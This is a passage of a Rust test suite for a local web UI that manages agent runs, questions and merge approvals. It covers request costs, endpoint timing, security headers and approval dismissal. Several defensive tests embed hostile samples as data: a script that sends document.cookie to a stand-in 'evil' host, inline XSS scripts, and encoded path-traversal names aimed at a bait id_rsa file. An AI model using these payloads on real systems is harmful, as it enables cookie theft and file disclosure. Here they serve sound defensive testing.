9293 for repo in &repos {
9296 let cache = repo.join(".git/magi/config");
9297 if cache.exists() {
9298 std::fs::remove_dir_all(cache).unwrap();
9299 }
9300 }
9301 let cost = request_counts(&fx.get(path).await);
9302 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9303 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9304 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9305 costs.push(cost);
9306 }
9307 if let Some(previous) = previous {
9308 assert_eq!(costs, previous);
9309 }
9310 previous = Some(costs);
9311 }
9312 }
9316
9317 #[tokio::test]
9320 async fn list_handler_cost_without_transport() {
9321 let (_tmp, repos) = performance_repositories().await;
9322 let fx = Fixture {
9323 home: TempDir::new().unwrap(),
9324 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9325 };
9326 let ui = Arc::new(
9327 Ui::new(
9328 fx.queue(),
9329 fx.questions(),
9330 fx.talks(),
9331 fx.runs(),
9332 fx.home.path().to_path_buf(),
9333 repos[0].clone(),
9334 )
9335 .with_worktrees_root(fx.home.path().join("wt")),
9336 );
9337 let mut previous = None;
9338 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9339 seed_performance(&fx, &repos, n, runs, items);
9340 let mut costs = Vec::new();
9341 for endpoint in ["questions", "talks", "health", "stats"] {
9342 for repo in &repos {
9343 let cache = repo.join(".git/magi/config");
9344 if cache.exists() {
9345 std::fs::remove_dir_all(cache).unwrap();
9346 }
9347 }
9348 let (_, cost) = request_cost::measure(async {
9349 match endpoint {
9350 "questions" => {
9351 let _ = questions_list(State(ui.clone())).await.unwrap();
9352 }
9353 "talks" => {
9354 let _ = talks_list(
9355 State(ui.clone()),
9356 Query(ListQuery {
9357 limit: None,
9358 ids: None,
9359 }),
9360 )
9361 .await
9362 .unwrap();
9363 }
9364 "health" => {
9365 let _ = health(State(ui.clone())).await.unwrap();
9366 }
9367 _ => {
9368 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9369 .await
9370 .unwrap();
9371 }
9372 }
9373 })
9374 .await;
9375 eprintln!("{endpoint} handler N={n}: {cost:?}");
9376 assert_eq!(
9377 cost.0,
9378 if endpoint == "talks" { 2 } else { 1 },
9379 "{endpoint}"
9380 );
9381 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9382 costs.push(cost);
9383 }
9384 if let Some(previous) = previous {
9385 assert_eq!(costs, previous);
9386 }
9387 previous = Some(costs);
9388 }
9389 }
9390
9391 #[tokio::test]
9392 async fn list_request_cost_scopes_do_not_mix() {
9393 let (_tmp, repos, fx) = performance_fixture().await;
9394 seed_performance(&fx, &repos, 10, 0, 10);
9395 let (questions, talks, notices) = tokio::join!(
9396 fx.get("/api/questions"),
9397 fx.get("/api/talks"),
9398 fx.get("/api/notifications")
9399 );
9400 assert_eq!(request_counts(&questions).0, 1);
9401 assert_eq!(request_counts(&talks).0, 2);
9402 assert_eq!(request_counts(¬ices), (0, 0));
9403 }
9404
9405 #[tokio::test]
9406 async fn list_endpoints_large_home_ceiling() {
9407 let (_tmp, repos, fx) = performance_fixture().await;
9408 seed_performance(&fx, &repos, 200, 300, 400);
9409 let mut failures = Vec::new();
9410 for path in [
9413 "/",
9414 "/app.js",
9415 "/app.css",
9416 "/api/questions",
9417 "/api/runs?limit=300",
9418 "/api/queue",
9419 "/api/talks",
9420 "/api/notifications",
9421 "/api/health",
9422 "/api/stats",
9423 "/api/loop",
9424 "/api/settings",
9425 "/api/repos",
9426 ] {
9427 let start = std::time::Instant::now();
9428 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9429 let elapsed = start.elapsed();
9430 eprintln!("{path}: {elapsed:?}");
9431 match result {
9432 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9433 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9434 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9435 }
9436 }
9437 assert!(failures.is_empty(), "{}", failures.join("\n"));
9438 }
9439
9440 struct Res {
9441 status: u16,
9442 headers: String,
9443 head: String,
9448 body: String,
9449 bytes: Vec<u8>,
9453 }
9454
9455 impl Res {
9456 fn json(&self) -> Value {
9457 serde_json::from_str(&self.body)
9458 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9459 }
9460
9461 fn header(&self, name: &str) -> Option<&str> {
9463 self.head.lines().find_map(|line| {
9464 let (key, value) = line.split_once(':')?;
9465 key.trim()
9466 .eq_ignore_ascii_case(name)
9467 .then(|| value.trim_start().trim_end_matches('\r'))
9468 })
9469 }
9470 }
9471
9472 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9475 request_with(addr, method, path, body, &[]).await
9476 }
9477
9478 async fn request_with(
9482 addr: SocketAddr,
9483 method: &str,
9484 path: &str,
9485 body: Option<&str>,
9486 extra: &[(&str, &str)],
9487 ) -> Res {
9488 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9489 for (name, value) in extra {
9490 head.push_str(&format!("{name}: {value}\r\n"));
9491 }
9492 if let Some(body) = body {
9493 head.push_str("Content-Type: application/json\r\n");
9494 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9495 }
9496 head.push_str("\r\n");
9497 if let Some(body) = body {
9498 head.push_str(body);
9499 }
9500 let mut socket = tokio::net::TcpStream::connect(addr)
9501 .await
9502 .expect("connect to the test server");
9503 socket
9504 .write_all(head.as_bytes())
9505 .await
9506 .expect("write request");
9507 let mut raw = Vec::new();
9508 socket.read_to_end(&mut raw).await.expect("read response");
9509 let split = raw
9512 .windows(4)
9513 .position(|w| w == b"\r\n\r\n")
9514 .expect("a header block");
9515 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9516 let bytes = raw[split + 4..].to_vec();
9517 let status = head
9518 .lines()
9519 .next()
9520 .and_then(|line| line.split_whitespace().nth(1))
9521 .and_then(|code| code.parse().ok())
9522 .expect("a status line");
9523 Res {
9524 status,
9525 headers: head.to_lowercase(),
9526 head,
9527 body: String::from_utf8_lossy(&bytes).into_owned(),
9528 bytes,
9529 }
9530 }
9531
9532 async fn request_bytes(
9538 addr: SocketAddr,
9539 path: &str,
9540 headers: &[(&str, &str)],
9541 body: &[u8],
9542 ) -> Res {
9543 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9544 for (name, value) in headers {
9545 head.push_str(&format!("{name}: {value}\r\n"));
9546 }
9547 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9548 let mut socket = tokio::net::TcpStream::connect(addr)
9549 .await
9550 .expect("connect to the test server");
9551 socket
9552 .write_all(head.as_bytes())
9553 .await
9554 .expect("write request head");
9555 socket.write_all(body).await.expect("write request body");
9556 let mut raw = Vec::new();
9557 socket.read_to_end(&mut raw).await.expect("read response");
9558 let split = raw
9559 .windows(4)
9560 .position(|w| w == b"\r\n\r\n")
9561 .expect("a header block");
9562 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9563 let bytes = raw[split + 4..].to_vec();
9564 let status = head
9565 .lines()
9566 .next()
9567 .and_then(|line| line.split_whitespace().nth(1))
9568 .and_then(|code| code.parse().ok())
9569 .expect("a status line");
9570 Res {
9571 status,
9572 headers: head.to_lowercase(),
9573 head,
9574 body: String::from_utf8_lossy(&bytes).into_owned(),
9575 bytes,
9576 }
9577 }
9578
9579 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9581 let mut state = RunState::new(
9582 PathBuf::from("/repo/magi"),
9583 "main".to_owned(),
9584 "0123456789abcdef".to_owned(),
9585 "Add a web UI\n\nMobile first.".to_owned(),
9586 Config::default(),
9587 );
9588 state.id = id.to_owned();
9589 state.status = status;
9590 let dir = runs.join(id);
9591 std::fs::create_dir_all(&dir).expect("run dir");
9592 std::fs::write(
9593 dir.join("run.json"),
9594 serde_json::to_string_pretty(&state).expect("serialize run"),
9595 )
9596 .expect("write run.json");
9597 }
9598
9599 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9603 let mut state = RunState::new(
9604 PathBuf::from(repo),
9605 "main".to_owned(),
9606 "0123456789abcdef".to_owned(),
9607 "task".to_owned(),
9608 Config::default(),
9609 );
9610 state.id = id.to_owned();
9611 state.status = status;
9612 let dir = runs.join(id);
9613 std::fs::create_dir_all(&dir).expect("run dir");
9614 std::fs::write(
9615 dir.join("run.json"),
9616 serde_json::to_string_pretty(&state).expect("serialize run"),
9617 )
9618 .expect("write run.json");
9619 }
9620
9621 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9622 let body = serde_json::json!({
9623 "schema": 1,
9624 "pid": 4242,
9625 "started_at": Timestamp::now().to_string(),
9626 "updated_at": updated_at.to_string(),
9627 "idle": false,
9628 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9629 "completed": 7,
9630 "polls": 143,
9631 });
9632 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9633 }
9634
9635 fn launch_idle(
9645 _opts: daemon::Opts,
9646 stop: daemon::Stop,
9647 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9648 Box::pin(async move {
9649 while !stop.stopped() {
9650 tokio::time::sleep(Duration::from_millis(2)).await;
9651 }
9652 Ok(())
9653 })
9654 }
9655
9656 fn launch_broken(
9659 _opts: daemon::Opts,
9660 _stop: daemon::Stop,
9661 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9662 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9667 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9668 Box::pin(async move {
9669 Err(anyhow::anyhow!(if first {
9670 "publish the daemon status file: read-only file system"
9671 } else {
9672 "the restarted stand-in failed as well"
9673 }))
9674 })
9675 }
9676
9677 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9684 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9685
9686 fn launch_knocking_on_the_way_out(
9693 _opts: daemon::Opts,
9694 stop: daemon::Stop,
9695 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9696 Box::pin(async move {
9697 while !stop.stopped() {
9698 tokio::time::sleep(Duration::from_millis(2)).await;
9699 }
9700 let addr = PARK_KNOCK
9701 .lock()
9702 .expect("park knock")
9703 .expect("the test set an address");
9704 let heard = request(addr, "GET", "/api/health", None).await.status;
9705 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9706 Ok(())
9707 })
9708 }
9709
9710 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9719 for _ in 0..SETTLE_STEPS {
9720 let view = fx.get("/api/loop").await.json();
9721 if want(&view) {
9722 return view;
9723 }
9724 tokio::time::sleep(Duration::from_millis(10)).await;
9725 }
9726 panic!(
9727 "the loop never settled: {}",
9728 fx.get("/api/loop").await.json()
9729 );
9730 }
9731
9732 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9734 let store = fx.questions();
9735 let mut q = Question::new(
9736 "20260902-000000-beef".to_owned(),
9737 "implement".to_owned(),
9738 "impl-A".to_owned(),
9739 summary.to_owned(),
9740 "because it matters".to_owned(),
9741 choices.iter().map(|c| (*c).to_owned()).collect(),
9742 );
9743 store.put(&mut q).expect("put question");
9744 q.id
9745 }
9746
9747 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9753 let store = fx.questions();
9754 let mut q = Question::new(
9755 "20260902-000000-beef".to_owned(),
9756 "land".to_owned(),
9757 "fix".to_owned(),
9758 "Merge this?".to_owned(),
9759 "the diff is in the panel".to_owned(),
9760 vec!["merge".to_owned(), "hold".to_owned()],
9761 );
9762 let staging = fx.home.path().join("staging");
9765 std::fs::create_dir_all(&staging).expect("staging dir");
9766 let sources: Vec<PathBuf> = assets
9767 .iter()
9768 .map(|(name, bytes)| {
9769 let path = staging.join(name);
9770 std::fs::write(&path, bytes).expect("write staged asset");
9771 path
9772 })
9773 .collect();
9774 store
9775 .put_panel(&mut q, html, &sources)
9776 .expect("write the panel");
9777 store.put(&mut q).expect("put question");
9778 q.id
9779 }
9780
9781 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9790 seed_talk_at(&fx.talks(), id, status)
9791 }
9792
9793 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9794 std::fs::create_dir_all(store.root()).expect("talks dir");
9795 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9796 .expect("serialize a seat");
9797 let body = serde_json::json!({
9798 "schema": 1,
9799 "id": id,
9800 "repo": "/repo/magi",
9801 "agent": "mock",
9802 "status": status,
9803 "turns": [],
9804 "created_at": Timestamp::now().to_string(),
9805 "updated_at": Timestamp::now().to_string(),
9806 "seat": seat,
9807 });
9808 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9809 store.get(id).expect("the seeded talk has to be readable");
9810 id.to_owned()
9811 }
9812
9813 #[tokio::test]
9814 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9815 let fx = Fixture::start().await;
9816 let id = panel(
9817 &fx,
9818 "<h1>Merge?</h1><img src=\"diff.svg\">",
9819 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9820 );
9821
9822 for path in [
9823 format!("/api/questions/{id}/panel"),
9824 format!("/api/questions/{id}/asset/diff.svg"),
9825 ] {
9826 let res = fx.get(&path).await;
9827 assert_eq!(res.status, 200, "{path}: {}", res.body);
9828 assert_eq!(
9834 res.header("content-security-policy"),
9835 Some(
9836 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9837 font-src data:; base-uri 'none'; form-action 'none'; \
9838 frame-ancestors 'self'"
9839 ),
9840 "{path} is the only thing between a hostile panel and the tailnet"
9841 );
9842 assert_eq!(
9843 res.header("x-content-type-options"),
9844 Some("nosniff"),
9845 "{path}: a browser must not re-decide the type we sent"
9846 );
9847 assert_eq!(
9848 res.header("referrer-policy"),
9849 Some("no-referrer"),
9850 "{path}: a panel must not leak the question id off the machine"
9851 );
9852
9853 let pre = fx.head(&path).await;
9858 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9859 assert_eq!(
9860 pre.header("content-security-policy"),
9861 res.header("content-security-policy"),
9862 "{path}: the preflight carries the same policy"
9863 );
9864 assert_eq!(
9865 pre.header("content-type"),
9866 res.header("content-type"),
9867 "{path}: the preflight carries the same type"
9868 );
9869 }
9870 }
9871
9872 #[tokio::test]
9873 async fn a_panel_reaches_the_browser_byte_for_byte() {
9874 let fx = Fixture::start().await;
9875 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9880 let id = panel(&fx, html, &[]);
9881
9882 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9883
9884 assert_eq!(res.status, 200);
9885 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9886 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9887 assert_eq!(
9888 res.header("content-disposition"),
9889 None,
9890 "the panel itself is rendered in the frame, not downloaded"
9891 );
9892 }
9893
9894 #[tokio::test]
9895 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9896 let fx = Fixture::start().await;
9897 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9898 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9899 let id = panel(
9900 &fx,
9901 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9902 &[("diff.svg", svg), ("shot.png", png)],
9903 );
9904
9905 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9906 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9907
9908 assert_eq!(as_svg.status, 200);
9909 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9910 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9915
9916 assert_eq!(as_png.status, 200);
9917 assert_eq!(as_png.header("content-type"), Some("image/png"));
9918 assert_eq!(
9919 as_png.header("content-disposition"),
9920 None,
9921 "a raster image has no execution surface, so tapping it still shows it"
9922 );
9923 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9924 }
9925
9926 #[tokio::test]
9927 async fn an_html_asset_is_never_served_as_html() {
9928 let fx = Fixture::start().await;
9929 let id = panel(
9930 &fx,
9931 "<p>see the notes</p>",
9932 &[
9933 (
9934 "notes.html",
9935 b"<script>fetch('http://evil/'+document.cookie)</script>",
9936 ),
9937 ("hook.js", b"fetch('http://evil/')"),
9938 ("data.json", b"{}"),
9939 ("HEADLINE.TXT", b"plain"),
9940 ],
9941 );
9942
9943 for name in ["notes.html", "hook.js", "data.json"] {
9944 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9945 assert_eq!(res.status, 200, "{name}: {}", res.body);
9946 assert_eq!(
9951 res.header("content-type"),
9952 Some("application/octet-stream"),
9953 "{name} must not be a type the browser will execute or render"
9954 );
9955 }
9956 let txt = fx
9959 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9960 .await;
9961 assert_eq!(
9962 txt.header("content-type"),
9963 Some("text/plain; charset=utf-8")
9964 );
9965 }
9966
9967 #[tokio::test]
9968 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9969 let fx = Fixture::start().await;
9970 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9971 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9975
9976 for encoded in [
9983 "%2e%2e%2fid_rsa",
9984 "..%2fid_rsa",
9985 "..%5cid_rsa",
9986 "%2e%2e%5cid_rsa",
9987 "diff%00.svg",
9988 "..",
9989 ".hidden",
9990 "%2e%2e%2f%2e%2e%2fid_rsa",
9991 ] {
9992 let res = fx
9993 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9994 .await;
9995 assert_eq!(
9996 res.status, 400,
9997 "`{encoded}` has to be refused by name, not looked up: {}",
9998 res.body
9999 );
10000 assert!(res.json()["error"].is_string(), "{}", res.body);
10001 }
10002
10003 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10009 let res = fx
10010 .get(&format!("/api/questions/{id}/asset/{literal}"))
10011 .await;
10012 assert_eq!(
10013 res.status, 404,
10014 "`{literal}` must not match the asset route at all: {}",
10015 res.body
10016 );
10017 }
10018 }
10019
10020 #[tokio::test]
10021 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10022 let fx = Fixture::start().await;
10023 let plain = ask(&fx, "Which backend?", &["SQLite"]);
10024 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10025
10026 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10030 assert_eq!(none.status, 404, "{}", none.body);
10031 assert!(none.json()["error"].is_string(), "{}", none.body);
10032 assert_eq!(
10033 fx.head(&format!("/api/questions/{plain}/panel"))
10034 .await
10035 .status,
10036 404,
10037 "the preflight is the only way the client can learn this"
10038 );
10039
10040 let missing = fx
10042 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10043 .await;
10044 assert_eq!(missing.status, 404, "{}", missing.body);
10045 assert!(missing.json()["error"].is_string(), "{}", missing.body);
10046
10047 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10049 assert_eq!(
10050 fx.get("/api/questions/nope/asset/diff.svg").await.status,
10051 404
10052 );
10053 }
10054
10055 #[tokio::test]
10056 async fn a_run_with_an_open_question_reads_as_waiting() {
10057 let fx = Fixture::start().await;
10058 let run = "20260902-000000-beef".to_owned();
10059 write_run(&fx.runs(), &run, RunStatus::Implementing);
10060
10061 let before = fx.get("/api/runs").await.json();
10062 assert_eq!(before[0]["waiting"], false, "{before}");
10063
10064 let store = fx.questions();
10065 let mut q = Question::new(
10066 run.clone(),
10067 "implement".to_owned(),
10068 "impl-A".to_owned(),
10069 "Which backend?".to_owned(),
10070 String::new(),
10071 vec!["SQLite".to_owned()],
10072 );
10073 store.put(&mut q).expect("put");
10074
10075 let during = fx.get("/api/runs").await.json();
10076 assert_eq!(during[0]["waiting"], true, "{during}");
10077
10078 q.answer(Answer::Choice("SQLite".to_owned()))
10081 .expect("answer");
10082 store.put(&mut q).expect("put");
10083 let after = fx.get("/api/runs").await.json();
10084 assert_eq!(after[0]["waiting"], false, "{after}");
10085 }
10086
10087 #[tokio::test]
10088 async fn an_open_question_is_listed_and_counted_by_health() {
10089 let fx = Fixture::start().await;
10090 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10091
10092 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10093 let listed = fx.get("/api/questions").await.json();
10094 assert_eq!(listed.as_array().expect("array").len(), 1);
10095 assert_eq!(listed[0]["id"], id);
10096 assert_eq!(listed[0]["status"], "open");
10097 assert_eq!(listed[0]["choices"][1], "Redis");
10098 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10101 }
10102
10103 fn obsolete_approval_state() -> RunState {
10104 let mut state = crate::land::tests::repair_state(true, true);
10105 state.pr = Some(crate::run::PrRecord {
10106 url: "https://github.com/example/repo/pull/42".into(),
10107 number: 42,
10108 state: "open".into(),
10109 checks: "green".into(),
10110 round: 1,
10111 rounds: 4,
10112 red_at_merge: Vec::new(),
10113 });
10114 state
10115 }
10116
10117 #[tokio::test]
10118 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10119 for owner in ["missing", "current", "completed", "later"] {
10120 let fx = Fixture {
10121 home: TempDir::new().unwrap(),
10122 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10123 };
10124 let mut state = obsolete_approval_state();
10125 state.status = RunStatus::Landing;
10126 state.parked = true;
10127 state.driver_exited = true;
10128 let mut q = Question::new(
10129 state.id.clone(),
10130 crate::land::APPROVAL_NODE.into(),
10131 "land".into(),
10132 "Old approval".into(),
10133 "Original evidence".into(),
10134 vec!["merge".into(), "hold".into()],
10135 );
10136 state.land_approval = Some(crate::run::LandApproval {
10137 question: q.id.clone(),
10138 head: "head".into(),
10139 });
10140 state.save_under(fx.home.path()).unwrap();
10141 let stale = state.clone();
10142 fx.questions().put(&mut q).unwrap();
10143 let mut task = Task::new(
10144 "Owner".into(),
10145 "Original instruction".into(),
10146 state.repo.clone(),
10147 Source::Human,
10148 );
10149 task.runs.push(state.id.clone());
10150 task.status = if owner == "completed" {
10151 TaskStatus::Done
10152 } else {
10153 TaskStatus::Parked
10154 };
10155 if owner == "later" {
10156 task.runs.push("later-run".into());
10157 }
10158 if owner != "missing" {
10159 fx.queue().put(&mut task).unwrap();
10160 }
10161 let ui = Arc::new(Ui::new(
10162 fx.queue(),
10163 fx.questions(),
10164 fx.talks(),
10165 fx.runs(),
10166 fx.home.path().into(),
10167 state.repo.clone(),
10168 ));
10169 let response = question_answer(
10170 State(ui),
10171 Path(q.id.clone()),
10172 Ok(Json(NewAnswer {
10173 choice: Some(crate::merge_decision::DISMISS.into()),
10174 text: None,
10175 })),
10176 )
10177 .await
10178 .unwrap();
10179 assert_eq!(
10180 response.0.question.resolution().as_deref(),
10181 Some(crate::merge_decision::DISMISS)
10182 );
10183 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10184 assert_eq!(disk.status, RunStatus::Superseded);
10185 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10186 assert!(!crate::merge_decision::resumable_hold(&disk));
10187 assert_eq!(
10188 serde_json::to_value(&disk.pr).unwrap(),
10189 serde_json::to_value(&stale.pr).unwrap()
10190 );
10191 assert_eq!(fx.questions().count_open(), 0);
10192 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10193 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10194 if owner == "missing" {
10195 assert!(fx.queue().list().is_empty());
10196 } else {
10197 let after = fx.queue().get(&task.id).unwrap();
10198 assert_eq!(
10199 after.status,
10200 if owner == "current" {
10201 TaskStatus::Done
10202 } else {
10203 task.status
10204 }
10205 );
10206 assert_eq!(after.runs, task.runs);
10207 assert_eq!(after.instruction, task.instruction);
10208 assert_eq!(after.action_applied(&q.id), owner == "current");
10209 }
10210 }
10211 }
10212
10213 #[tokio::test]
10214 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10215 let fx = Fixture::start().await;
10216 let mut state = obsolete_approval_state();
10217 state.status = RunStatus::Landing;
10218 state.parked = true;
10219 state.driver_exited = true;
10220 let mut q = Question::new(
10221 state.id.clone(),
10222 crate::land::APPROVAL_NODE.into(),
10223 "land".into(),
10224 "Superseded PR approval".into(),
10225 "Original review evidence".into(),
10226 vec!["merge".into(), "hold".into()],
10227 );
10228 state.land_approval = Some(crate::run::LandApproval {
10229 question: q.id.clone(),
10230 head: "old-reviewed-head".into(),
10231 });
10232 state.save_under(fx.home.path()).unwrap();
10235 let stale_driver = state.clone();
10236 fx.questions().put(&mut q).unwrap();
10237 let path = fx
10238 .home
10239 .path()
10240 .join("questions")
10241 .join(format!("{}.json", q.id));
10242 let mut legacy = serde_json::to_value(&q).unwrap();
10243 legacy["schema"] = 9.into();
10244 legacy.as_object_mut().unwrap().remove("merge_target");
10245 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10246
10247 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10250 let answer_path = format!("/api/questions/{}/answer", q.id);
10251 let res = fx.post(&answer_path, Some(&body)).await;
10252 assert_eq!(res.status, 200, "{}", res.body);
10253 let disk = fx.questions().get(&q.id).unwrap();
10254 assert_eq!(
10255 disk.resolution().as_deref(),
10256 Some(crate::merge_decision::DISMISS)
10257 );
10258 assert!(disk.detail.starts_with("Original review evidence"));
10259 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10260 assert_eq!(retired.status, RunStatus::Superseded);
10261 assert_eq!(
10262 serde_json::to_value(&retired.pr).unwrap(),
10263 serde_json::to_value(&state.pr).unwrap()
10264 );
10265 assert!(!retired.merge_decision.as_ref().unwrap().closed);
10266 assert!(!crate::merge_decision::resumable_hold(&retired));
10267 assert!(fx.queue().list().is_empty());
10268 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10269 let addr = Fixture::serve(
10271 fx.home.path(),
10272 PathBuf::from("/repo/magi"),
10273 launch_idle,
10274 None,
10275 )
10276 .await;
10277 let reconnected = Fixture {
10278 home: fx.home,
10279 addr,
10280 };
10281 let listed = reconnected.get("/api/questions").await.json();
10282 assert!(
10283 listed
10284 .as_array()
10285 .unwrap()
10286 .iter()
10287 .all(|q| q["status"] != "open")
10288 );
10289 assert_eq!(listed[0]["id"], q.id, "history remains available");
10290 assert_eq!(
10291 reconnected.get("/api/health").await.json()["questions_open"],
10292 0
10293 );
10294 assert_eq!(
10295 reconnected
10296 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10297 .await
10298 .status,
10299 409
10300 );
10301 assert!(
10303 reconnected
10304 .questions()
10305 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10306 .is_err()
10307 );
10308 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10311 }
10312
10313 #[tokio::test]
10314 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10315 let fx = Fixture::start().await;
10316 let mut state = obsolete_approval_state();
10317 state.status = RunStatus::Landing;
10318 state.driver_exited = true;
10319 let mut q = Question::new(
10320 state.id.clone(),
10321 crate::land::APPROVAL_NODE.into(),
10322 "land".into(),
10323 "Obsolete approval".into(),
10324 String::new(),
10325 vec!["merge".into(), "hold".into()],
10326 );
10327 state.land_approval = Some(crate::run::LandApproval {
10328 question: q.id.clone(),
10329 head: "head".into(),
10330 });
10331 state.save_under(fx.home.path()).unwrap();
10332 fx.questions().put(&mut q).unwrap();
10333 let mut task = Task::new(
10334 "Owner".into(),
10335 "Original instruction".into(),
10336 state.repo.clone(),
10337 Source::Human,
10338 );
10339 task.runs = vec![state.id.clone(), "later-run".into()];
10340 fx.queue().put(&mut task).unwrap();
10341 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10342 let claim = fx.queue().claim(&task.id).unwrap();
10343 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10344 let path = format!("/api/questions/{}/answer", q.id);
10345 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10346 assert!(fx.questions().get(&q.id).unwrap().status.open());
10347 drop(claim);
10348 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10349 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10350 assert!(fx.questions().get(&q.id).unwrap().status.open());
10351 drop(publication);
10352 state.driver_exited = false;
10354 state.driver_pid = None;
10355 state.save_under(fx.home.path()).unwrap();
10356 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10357 state.driver_exited = true;
10358 state.land_armed_head = Some("head".into());
10359 state.save_under(fx.home.path()).unwrap();
10360 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10361 state.land_armed_head = None;
10362 state.save_under(fx.home.path()).unwrap();
10363 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10364 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10365 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10366 }
10367
10368 #[tokio::test]
10369 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10370 let fx = Fixture::start().await;
